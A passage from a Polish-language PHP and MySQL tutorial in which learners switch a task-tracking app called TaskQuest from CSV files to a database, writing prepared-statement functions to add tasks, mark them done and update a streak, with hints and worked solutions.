<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie = $polaczenie-&gt;prepare(
    'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
);
$zapytanie-&gt;bind_param('.....', ...);</code></pre>
</details>



<p class="wp-block-paragraph">Litery w <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> idą w tej samej kolejności co <code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>: liczba, tekst, tekst, tekst, liczba.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();

$uzytkownikId = 2;
$tytul = 'Zadanie z brudnopisu';
$opis = '';
$termin = '2026-10-15';
$xp = 15;

$zapytanie = $polaczenie-&gt;prepare(
    'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
);
$zapytanie-&gt;bind_param('isssi', $uzytkownikId, $tytul, $opis, $termin, $xp);
$zapytanie-&gt;execute();

var_dump($zapytanie-&gt;affected_rows);
var_dump($zapytanie-&gt;insert_id);</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code> i liczba o jeden większa od największego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>.</p>
</details>



<p class="wp-block-paragraph">Odśwież brudnopis jeszcze raz. Co się stało? Ola ma dwa identyczne zadania, z różnymi <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>. Baza nie wie, że „to samo zadanie” już jest. Każde wykonanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> to nowy wiersz. Dlatego formularz w TaskQuest kończy się przekierowaniem (POST → przekierowanie → GET, Lekcja 13). Odświeżenie strony po dodaniu nie wyśle formularza drugi raz.</p>



<p class="wp-block-paragraph">Sprawdź też: zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">99</code> i uruchom. Wynik: wyjątek z komunikatem o kluczu obcym (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot add or update a child row: a foreign key constraint fails...</code>). Baza nie pozwala dodać zadania użytkownikowi, którego nie ma. To relacja z Lekcji 17 w działaniu. Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code>.</p>



<p class="wp-block-paragraph">Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<h1 class="wp-block-heading">5. Włączamy zapis do TaskQuest</h1>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Od tego miejsca pracujesz na projekcie.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> zostaw — przyda się do testowania nowych funkcji.</p>
</blockquote>



<p class="wp-block-paragraph">Plan: najpierw dodawanie zadań i sprzątanie po CSV (kroki 1–3), potem „Zrobione!” z XP i streakiem (kroki 4–7), na końcu diagnostyka (krok 8). Po każdym kroku aplikacja działa.</p>



<h2 class="wp-block-heading">Krok 1 — SAMODZIELNIE: funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code></h2>



<p class="wp-block-paragraph">Kod z brudnopisu (sekcja 4) zamienisz w funkcję. W kroku 2 formularz wywoła ją jedną linią, zamiast budować zapytanie od nowa.</p>



<p class="wp-block-paragraph">Co zrobić:</p>



<p class="wp-block-paragraph">1. <span style="font-size: revert; color: initial;">Otwórz </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code><span style="font-size: revert; color: initial;">. W komentarzu na górze pliku zamień </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">(Lekcja 18)</code><span style="font-size: revert; color: initial;"> na </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">(Lekcje 18–19)</code><span style="font-size: revert; color: initial;">.</span></p>



<p class="wp-block-paragraph">2. <span style="font-size: revert; color: initial;">Pod funkcją </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzRanking()</code><span style="font-size: revert; color: initial;"> utwórz funkcję z takim nagłówkiem:</span></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;"></code><code class="prettyprint lang-sql" style="font-size: 0.85em;">function dodajZadanie(mysqli $polaczenie, int $uzytkownikId, string $tytul, string $opis, string $termin, int $xp): int</code></pre>



<p class="wp-block-paragraph">3. <span style="font-size: revert; color: initial;">Przenieś do niej z brudnopisu </span><strong style="font-size: revert; color: initial;">tylko</strong><span style="font-size: revert; color: initial;"> linie, które wykonują zapytanie. Przy każdej linii brudnopisu zadaj sobie pytanie: czy funkcja jej potrzebuje, czy tę wartość dostaje już w parametrze?</span><br />4. <span style="font-size: revert; color: initial;">Na końcu funkcja ma zwrócić </span><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code><span style="font-size: revert; color: initial;"> nowego zadania (3.2).</span><br />5. Zasady są te same co dla funkcji z Lekcji 18. Funkcja nie łączy się sama z bazą, niczego nie wyświetla, nie łapie wyjątków i nie sprawdza danych, bo dostaje je już sprawdzone przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>.</p>



<p class="wp-block-paragraph"><strong>Sprawdzenie.</strong> W brudnopisie zostaw dwa <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$polaczenie = polaczZBaza();</code>, a resztę zastąp:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump(dodajZadanie($polaczenie, 2, 'Test funkcji', '', '2026-10-20', 5));</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(...)</code> — nowe <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>. W phpMyAdmin Ola ma zadanie „Test funkcji”. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Z brudnopisu <strong>nie</strong> przenosisz: <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code>, pięciu linii z wartościami (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownikId = 2;</code> itd. — to teraz parametry funkcji) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code>. Zostają trzy kroki: <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function dodajZadanie(
    mysqli $polaczenie,
    int $uzytkownikId,
    string $tytul,
    string $opis,
    string $termin,
    int $xp
): int {
    $zapytanie = $polaczenie-&gt;prepare(
        'INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp) VALUES (?, ?, ?, ?, ?)'
    );
    $zapytanie-&gt;bind_param('isssi', $uzytkownikId, $tytul, $opis, $termin, $xp);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;insert_id;
}</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> nie jest parametrem, bo nowe zadanie jest zawsze niewykonane. Zwracanego <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> formularz nie potrzebuje, ale przydaje się w testach (i w zadaniu końcowym A).</p>
</details>



<h2 class="wp-block-heading">Krok 2 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> zapisuje do bazy</h2>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>. Zmieniamy tylko część PHP, i to niewiele.</p>



<p class="wp-block-paragraph"><strong>2a. Dołączane pliki.</strong> Usuń dwie linie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/classes/Zadanie.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';</code></pre>



<p class="wp-block-paragraph">a pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_sesji.php</code> dopisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/funkcje_bazy.php';</code></pre>



<p class="wp-block-paragraph">Strona nie tworzy już obiektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> (zapisuje dane prosto do bazy), więc nie potrzebuje klasy.</p>



<p class="wp-block-paragraph"><strong>2b. SAMODZIELNIE: zapis do bazy.</strong> Znajdź w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (count($bledy) === 0) {</code>. W nim jest blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, który dziś zapisuje do CSV w trzech krokach: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania(PLIK_ZADAN)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania[] = new Zadanie(...)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania(...)</code>. Pod nimi są jeszcze trzy linie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawKomunikat(...)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">header(...)</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code>.</p>



<p class="wp-block-paragraph">Co zrobić:</p>



<ol class="wp-block-list">
<li><strong>Usuń</strong> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> trzy linie zapisu do CSV (wczytanie listy, dopisanie obiektu, zapis listy). Trzy linie komunikatu, przekierowania i <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code> zostaw. Cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> też zostaw bez zmian.</li>



<li><strong>W ich miejsce</strong> (na początku <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>) połącz się z bazą i wywołaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code> z kroku 1. Przekaż jej połączenie, id zalogowanego gracza i cztery dane z formularza.</li>



<li>Przy każdym argumencie sprawdź typ, którego wymaga nagłówek funkcji. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xpZadania</code> to tekst z formularza, a funkcja chce <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>.</li>
</ol>



<p class="wp-block-paragraph">Odczyt pól z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> i wywołanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> <strong>zostają bez zmian</strong>.</p>



<p class="wp-block-paragraph"><strong>Sprawdzenie</strong> — punkt 2d poniżej.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Id zalogowanego gracza nie przychodzi z formularza, tylko z sesji (Lekcja 18: jedyny klucz tożsamości). Tekst z samymi cyframi zamieniasz na liczbę tak samo jak robiła to dotąd linia z <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        try {
            $polaczenie = polaczZBaza();
            dodajZadanie(
                $polaczenie,
                $_SESSION&#91;'uzytkownik_id'],
                $tytulZadania,
                $opisZadania,
                $terminZadania,
                (int) $xpZadania
            );

            ustawKomunikat('Zadanie zostało dodane.');
            header('Location: index.php');
            exit;
        } catch (Exception $wyjatek) {
            $bladZapisu = $wyjatek-&gt;getMessage();
        }
</code></pre>
</details>



<p class="wp-block-paragraph">Co zniknęło i dlaczego:</p>



<ul class="wp-block-list">
<li><strong>wczytywanie całej listy przed zapisem</strong> — przy CSV trzeba było wczytać plik, dopisać zadanie i zapisać wszystko od nowa (tryb <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>). Baza dopisuje jeden wiersz, reszty nie dotyka,</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> nadaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>,</li>



<li><strong>lokalna zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code></strong> — niepotrzebna.</li>
</ul>



<p class="wp-block-paragraph">Co zostało: walidacja, zachowywanie wpisanych danych w formularzu, ramka <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code> („Nie udało się dodać zadania: &#8230;”), komunikat w sesji i przekierowanie. <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) $xpZadania</code> jest bezpieczne, bo walidacja sprawdziła regexem <code class="prettyprint lang-sql" style="font-size: 0.85em;">/^\d+$/</code>, że to same cyfry.</p>



<p class="wp-block-paragraph">Właściciela zadania bierzemy z <strong>sesji</strong>, nie z formularza. W formularzu nie ma (i nie będzie) pola „dla kogo” — nikt nie doda zadania na cudze konto.</p>



<p class="wp-block-paragraph"><strong>Po co walidacja, skoro baza sama odrzuci za długi tytuł?</strong> Trzy powody. Baza zgłasza <strong>wyjątek</strong> z technicznym komunikatem, a użytkownik ma dostać listę zrozumiałych błędów (reguła z Lekcji 13). Zakres XP 1–100 sprawdza tylko PHP (Lekcja 17). Walidacja pokazuje wszystkie błędy naraz, baza zatrzymuje się na pierwszym.</p>



<p class="wp-block-paragraph"><strong>2c. Link wraca.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Twoje zadania&lt;/h2&gt;</code>, przywróć:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;</code></pre>



<p class="wp-block-paragraph"><strong>2d. Sprawdzenie.</strong> Zaloguj się jako Kama, dodaj zadanie. Oczekiwane: komunikat „Zadanie zostało dodane.”, nowe zadanie na liście. Zaloguj się jako Ola — tego zadania nie widzi.</p>



<h2 class="wp-block-heading">Krok 3 — sprzątanie po CSV</h2>



<p class="wp-block-paragraph">Od tej chwili nic w TaskQuest nie czyta ani nie zapisuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>. Martwy kod myli: za miesiąc nikt nie będzie pamiętał, czy ten plik jest jeszcze potrzebny. Dane z CSV są bezpieczne — w Lekcji 17 trafiły do <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<p class="wp-block-paragraph"><strong>Zanim usuniesz, sprawdź.</strong> W edytorze wyszukaj w całym projekcie (VS Code: Ctrl+Shift+F) każdą z nazw:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN
wczytajZadania(
zapiszZadania(
sprawdzWierszZadania(
nastepneIdZadania(
funkcje_plikow</code></pre>



<p class="wp-block-paragraph">Wpisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania(</code> razem z nawiasem. Bez nawiasu wyszukiwarka znajdzie też <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika</code>. Oczekiwane: nazwy występują tylko w definicjach i w <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> (tę poprawisz w kroku 8). Jeśli znajdziesz inne miejsce, najpierw wróć do kroku 2.</p>



<p class="wp-block-paragraph">Usuń:</p>



<ol class="wp-block-list">
<li>plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code> (funkcje <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>),</li>



<li>katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code> razem z <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania.csv</code>,</li>



<li>w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">define('PLIK_ZADAN', ...);</code>,</li>



<li>w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code> całą funkcję <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> i funkcje listy zostają.</li>
</ol>



<p class="wp-block-paragraph">Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i dodaj jeszcze jedno zadanie — wszystko ma działać jak po kroku 2.</p>



<h2 class="wp-block-heading">Krok 4 — SAMODZIELNIE: jedno zadanie i jego wykonanie</h2>



<p class="wp-block-paragraph">„Zrobione!” potrzebuje dwóch funkcji w <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code>. Napisz je pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajZadanie()</code>.</p>



<p class="wp-block-paragraph"><strong>Funkcja 1:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajZadanieUzytkownika(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): ?Zadanie</code></pre>



<ul class="wp-block-list">
<li>zwraca obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> o podanym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, ale <strong>tylko jeśli należy do podanego użytkownika</strong>,</li>



<li>w każdym innym przypadku (nie ma takiego zadania, jest cudze) zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</li>
</ul>



<p class="wp-block-paragraph"><strong>Funkcja 2:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool</code></pre>



<ul class="wp-block-list">
<li>wpisuje dzisiejszą datę w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>,</li>



<li>tylko w zadaniu tego użytkownika i tylko jeśli zadanie <strong>nie jest jeszcze wykonane</strong>,</li>



<li>zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, jeśli <strong>to wywołanie</strong> zmieniło wiersz, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> w każdym innym przypadku.</li>
</ul>



<p class="wp-block-paragraph">Test w brudnopisie (dołącz też <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code>). <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zadania Oli odczytaj w phpMyAdmin (po świeżym <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code> to ostatni wiersz tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieOli = 6; // wpisz id zadania Oli ze swojej bazy

var_dump(wczytajZadanieUzytkownika($polaczenie, $zadanieOli, 1));
var_dump(wczytajZadanieUzytkownika($polaczenie, $zadanieOli, 2)-&gt;pobierzTytul());

var_dump(oznaczZadanieJakoWykonane($polaczenie, $zadanieOli, 1));
var_dump(oznaczZadanieJakoWykonane($polaczenie, $zadanieOli, 2));
var_dump(oznaczZadanieJakoWykonane($polaczenie, $zadanieOli, 2));</code></pre>



<p class="wp-block-paragraph">Przewidź pięć wyników, potem uruchom. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> (zadanie Oli, a pytamy jako Kama), <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(28) "Zaprojektować bazę TaskQuest"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (Kama nie może oznaczyć zadania Oli), <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (już wykonane). Na koniec uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Funkcja 1 to połączenie dwóch funkcji z Lekcji 18: zapytanie i tworzenie obiektu jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code>, a obsługa „jeden wiersz albo nic” jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code>. Funkcja 2 to <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code> z trzema warunkami z 3.3. Wynik funkcji to jedno porównanie.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function wczytajZadanieUzytkownika(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): ?Zadanie
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE id = ? AND uzytkownik_id = ?'
    );
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Zadanie(
        id: $wiersz&#91;'id'],
        tytul: $wiersz&#91;'tytul'],
        opis: $wiersz&#91;'opis'],
        termin: $wiersz&#91;'termin'],
        wykonane: $wiersz&#91;'data_wykonania'] !== null,
        xp: $wiersz&#91;'xp'],
    );
}

function oznaczZadanieJakoWykonane(mysqli $polaczenie, int $zadanieId, int $uzytkownikId): bool
{
    $zapytanie = $polaczenie-&gt;prepare(
        'UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ? AND uzytkownik_id = ? AND data_wykonania IS NULL'
    );
    $zapytanie-&gt;bind_param('ii', $zadanieId, $uzytkownikId);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;affected_rows === 1;
}</code></pre>
</details>



<ul class="wp-block-list">
<li>„Nie ma takiego zadania” i „zadanie jest cudze” dają ten sam wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>. Celowo. Ola nie powinna się dowiedzieć, że zadanie o <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 3 istnieje, tylko należy do kogoś innego.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczZadanieJakoWykonane()</code> zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> z trzech powodów: nie ma zadania, jest cudze albo już wykonane. Funkcja ich nie rozróżnia. Strona, która ją wywoła, zrobi to sama dzięki funkcji 1.</li>
</ul>



<h2 class="wp-block-heading">Krok 5 — prawdziwy streak i XP</h2>



<h3 class="wp-block-heading">5a. Jak dotąd liczyliśmy streak</h3>



<p class="wp-block-paragraph">Funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_terminow.php</code> <strong>zostaje bez zmian</strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function aktualizujStreak(int $streak, string $dataOstatniejAktywnosci, bool $zadanieWykonane): int {
    if (!$zadanieWykonane) return $streak;

    $dzisiaj = new DateTime('today');
    $wczoraj = new DateTime('yesterday');
    $ostatniaAktywnosc = new DateTime($dataOstatniejAktywnosci);

    if ($ostatniaAktywnosc-&gt;format('Y-m-d') === $dzisiaj-&gt;format('Y-m-d')) return $streak;

    if ($ostatniaAktywnosc-&gt;format('Y-m-d') === $wczoraj-&gt;format('Y-m-d')) return $streak + 1;

    return 1;
}</code></pre>



<p class="wp-block-paragraph">Przypomnienie reguł: aktywność dziś — seria bez zmian; wczoraj — seria +1; wcześniej — seria zaczyna się od nowa (1).</p>



<p class="wp-block-paragraph">Do tej pory <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> przy <strong>każdym wyświetleniu</strong> wywoływał <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane)</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> znaczyło „na liście jest choć jedno wykonane zadanie”. To była symulacja: nie wiedzieliśmy, <strong>kiedy</strong> gracz coś zrobił. Wynik nigdzie się nie zapisywał, więc każde odświeżenie liczyło od nowa.</p>



<p class="wp-block-paragraph">Teraz wiemy dokładnie: gracz był aktywny w chwili, gdy kliknął „Zrobione!”. Streak liczymy więc <strong>raz, w tym momencie</strong>, i zapisujemy do bazy razem z datą aktywności. Strona główna tylko go pokazuje.</p>



<h3 class="wp-block-heading">5b. Zmiana w <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code></h3>



<p class="wp-block-paragraph">Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code> i znajdź metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> (ostatnio zmienianą w Lekcji 18, krok 4). Zmień ją w czterech miejscach:</p>



<ol class="wp-block-list">
<li><strong>Nagłówek.</strong> Usuń parametr: <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(bool $zadanieWykonane): void</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(): void</code>. Metodę będziemy wywoływać tylko po wykonaniu zadania, więc parametr zawsze miałby wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>.</li>



<li><strong>Warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</strong> Dziś jest w nim samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">return;</code> z komentarzem „brak aktywności — &#8230; streak zostaje taki jak w bazie”. <strong>Przed</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">return;</code> dopisz linię, która ustawia właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">streak</code> obiektu na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>. Zmień komentarz na: <code class="prettyprint lang-sql" style="font-size: 0.85em;">// pierwsze wykonane zadanie w historii — seria się zaczyna</code>. Od teraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> znaczy „gracz jeszcze nigdy nic nie wykonał”, a ta metoda jest wywoływana właśnie wtedy, gdy wykonuje pierwsze zadanie.</li>



<li><strong>Wywołanie funkcji.</strong> W ostatniej linii metody trzeci argument funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(...)</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code>. Tej zmiennej już nie ma — wpisz w jej miejsce <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>.</li>



<li><strong>Komentarz nad metodą</strong> (linia nad <code class="prettyprint lang-sql" style="font-size: 0.85em;">public function</code>): <code class="prettyprint lang-sql" style="font-size: 0.85em;">// Wywołujemy tylko wtedy, gdy użytkownik właśnie wykonał zadanie (oznacz-wykonane.php).</code></li>
</ol>



<p class="wp-block-paragraph">Nazwa metody się nie zmienia. Nadal aktualizuje streak według reguł funkcji o tej samej nazwie.</p>



